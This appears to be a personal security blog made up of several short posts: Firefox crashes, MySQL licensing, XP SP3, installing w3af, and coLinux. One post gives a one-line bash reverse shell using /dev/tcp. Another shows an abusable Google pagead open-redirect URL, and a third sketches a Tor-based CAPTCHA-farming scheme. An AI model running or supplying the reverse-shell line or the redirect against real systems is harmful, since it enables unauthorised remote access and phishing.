Sharing my thoughts with the world.
This is really cool... Neohapsis has a great blog post on how a one line bash shell command can create a reverse shell (via Infosec Ramblings).
Think about all those times when you needed a single command line to create a reverse shell... this will do it:
exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
That's it.. plain and simple and you're done... no need for any outside tools...just the ability to run built in shell commands.
I'm wondering if anyone has been experiencing issues with Firefox 2.0.0.14? I installed it as soon as I noticed it... which I'm guessing was 6-7 hours ago but that may be +/- an hour or two. Since then I've had Firefox crash at least 6 times (never more than two tabs open... usually GMail and Bloglines). It just starts "Not Responding" and won't come back out of it.
System:
Windows XP SP2 fully updated
Core2 Quad Q6600 @ 2.40Ghz
3GB RAM available to the OS (32-bit OS)
Plugins Installed: SQL Inject Me, XSS Me, TamperData, User Agent Switcher, Web Developer, Firebug and Greasemonkey.
A while ago I stopped reading Slashdot because I generally find the information presented to be over-the-top and bordering on "zealot-like"... I suppose "overly dramatic" would work as well. However I was clicking through and ended up on the main page, which lead to reading the following headline: Sun to Begin Close Sourcing MySQL. It lead me to this article and I realized that the Slashdot headline was overzealous and so was Jeremy Cole.
Essentially, MySQL will be releasing some advanced features only to it's enterprise customers. I get this... It makes business sense. The age old adage is, after all, "Why buy the cow, when you can get the milk for free". I kinda feel that the FOSS community sometimes feels a sense of entitlement that they don't deserve. There plenty of FOSS users and supporters, but how many of them actually contribute back to FOSS. They do nothing, until they may lose some "advanced functionality"... then they scream as loud as anyone else.
Numerous people on Jeremy's website commented that MySQL was going to be giving "beta-like" software to their enterprise customers because they didn't have the community to test it. This puts way to much importance on the community. There are plenty of closed-source and paid software companies that ship software directly to enterprise customers without first running it by the FOSS community. This software does just fine.
In the end, this is a bunch of sour grapes over something that really isn't that big of a deal. Use another database or pay for the enterprise software.
SANS ISC is reporting that various sources are saying that we may see XP SP3 before the end of the month. With OEMs and MSDN subcribers seeing the patch on April 21st and an end-user release date of April 28th.
About 15 minutes ago I had connection problems with my Google Apps account. My web-based Google Chat had disappeared, so I closed my browser and reopened it, but it's gone... completely gone... the Chat tab is even gone inside my settings options.
Anybody got any ideas?
The X represents where the Chat Window normally is and the arrow points to where the chat settings would normally be.
Update:
Alex Word just pointed out that this is back up now. Thanks Alex!
This isn't a new topic... McAfee mentioned it a couple of weeks ago, and it appeared in a ha.ckers.org comment almost 2 years ago.
It seems that Google Page Ad (http://www.google.com/pagead) can be abused as a redirect. This redirect won't work blindly, certain variables require certain values. However those variables aren't validated... I can generate a valid redirect, and then substitute in any url I want and it will still work. I've been noticing more and more spam lately making use of this, and it leads me to wonder why Google, with all their power (and I am a huge Google fan), can't get the validation right to ensure that this issue stops.
Here's an example URL... however in this case, I've removed the spammers address and inserted ComputerDefense.org: http://www.google.com/pagead/iclk?sa=l&ai=JqenDy&num=08582&adurl=http://www.computerdefense.org
Update:
In thinking this through more, I thought I should add to it. This redirect requires certain information... without the ai and num fields, the redirect won't work. All Google has to do is tie these fields to a specific URL, they don't even need the redirect URL included anymore... They could validate and redirect based on data they retrieve while validating the request.
This morning I talked about W3AF beta6 being available. Only now did I finally get time to install it... I wanted to test drive the UI, and it ended up being quite the task to get it installed. Part way through I realized that this would be a someone time consuming process and started documenting everything I had to do. I figured that others will most likely want to play with the UI on Windows XP so I'm going to share my documentation:
Installing w3af with UI on Windows XP with Python 2.5
Download pygoogle
Extract pygoogle
From your extracted directory run 'python setup.py install'
Download fpconst
Extract fpconst
From your extracted directory run 'python setup.py install'
Download SOAPpy
Extract SOAPpy
Edit <extractdir>\SOAPpy\Client.py; move the import __futures__ line to Line 1
Edit <extractdir>\SOAPpy\Types.py; move the import __futures__ line to Line 1
Edit <extractdir>\SOAPpy\Server.py; move the import __futures__ line to Line 1
From your extracted directory run 'python setup.py install'
Download gtk+ runtime
File: gtk2-runtime-2.12.1-2007-10-28-ash.exe
Install
Update gtk+ runtime
File: glib-2.16.2.zip
Extract Files
Copy files from \bin over gtk2-runtime install (default: C:\Program Files\GTK2-Runtime\lib)
Install pyGTK files
PyGTK 2.12.1-2
PyGobject 2.14.1-1
PyCairo 1.4.12-2
Download pyOpenSSL
Current Version: 0.7
Install
Download OpenSSL
Current Version: 0.9.8g Light
Install
Download w3af
Extract to directory
Browse to the w3af folder, create a shortcut to file w3af.
Modify shortcut target -- path\to\python25 path\to\w3af -g
Double Click shortcut
Confused? I know I was... but this is actually quite interesting.
OS Version (via systeminfo)
Vista Ultimate Release: 6.0.6000 N/A Build 6000
Vista Ultimate Service Pack 1: 6.0.6001 Service Pack 1 Build 6001
Server 2008 Standard Release: 6.0.6001 Service Pack 1 Build 6001
You can read more about it here.
A discussion elsewhere got me thinking about this, and some quick googling didn't turn anything up. If there are already write-ups on this, I would love if people could point me toward them.
Let's say that you are using Tor. When your traffic traverses Tor, it hits an end-point somewhere. That end-point knows that it is your end-point. Now, I'm a malicious individual... a spammer who needs CAPTCHAs solved. What do I do? I setup a Tor server and pass you my CAPTCHAs to solve. I don't believe it would be that difficult to inject CAPTCHAs into the mix. Your Tor connection comes into the server, but outbound HTTP passes through a proxy... this proxy is designed to display CAPTCHAs.
As I said, maybe this has already been discussed elsewhere, and maybe Tor even has protections against it. Either way, I'm really surprised that you don't hear about this more often. I've read about people paying to have CAPTCHAs solved... the only cost associated with this would be bandwidth. You could even expand on it to save bandwidth. A botnet deploys Tor across several thousand machines... these machines all forward the non-local HTTP traffic to "CAPTCHA proxies".
Since Tor users are accustomed to solving proxies for search engines and other big sites, they may not even notice these CAPTCHAs.
So let me know what you think... Thoughts, ideas, evidence of this, papers on this... it's all good.
For quite some time now I've been a regular user of Cooperative Linux (coLinux), which I think is best described on its website:
Cooperative Linux is the first working free and open source method for optimally running Linux on Microsoft Windows natively. More generally, Cooperative Linux (short-named coLinux) is a port of the Linux kernel that allows it to run cooperatively alongside another operating system on a single machine. For instance, it allows one to freely run Linux on Windows 2000/XP, without using a commercial PC virtualization software such as VMware, in a way which is much more optimal than using any general purpose PC virtualization software
I've been using it for quote some time but I've never bothered to spend the time to take it beyond a console (mind you I see on their website that it'll run Knoppix Japanese Edition with a full GUI). A few months ago andLinux came to my attention. andLinux uses coLinux at it's core and then integrates the Xming server, allowing you to easily run Windows and XWindows applications side by side, both running natively. I think this is absolutely amazing, and something that is definitely needed. My laptop currently have notepad and firefox open on the Windows side and XFCE panel, firefox and Gnome Terminal (with apt-get install build-essential) open on the Linux side. It brings quite a bit of power and flexibility to the table.
I recently went from Ubuntu back to Windows on my laptop because I purchased a Vonage V-Phone. andLinux allows me to easily and conveniently maintain my favourite Linux apps along side my favourite Windows applications. If you've never used it, I highly recommend jumping over to the website and checking it out.
Design by Beccary and Weblogs.us
·
XHTML
·
CSS
·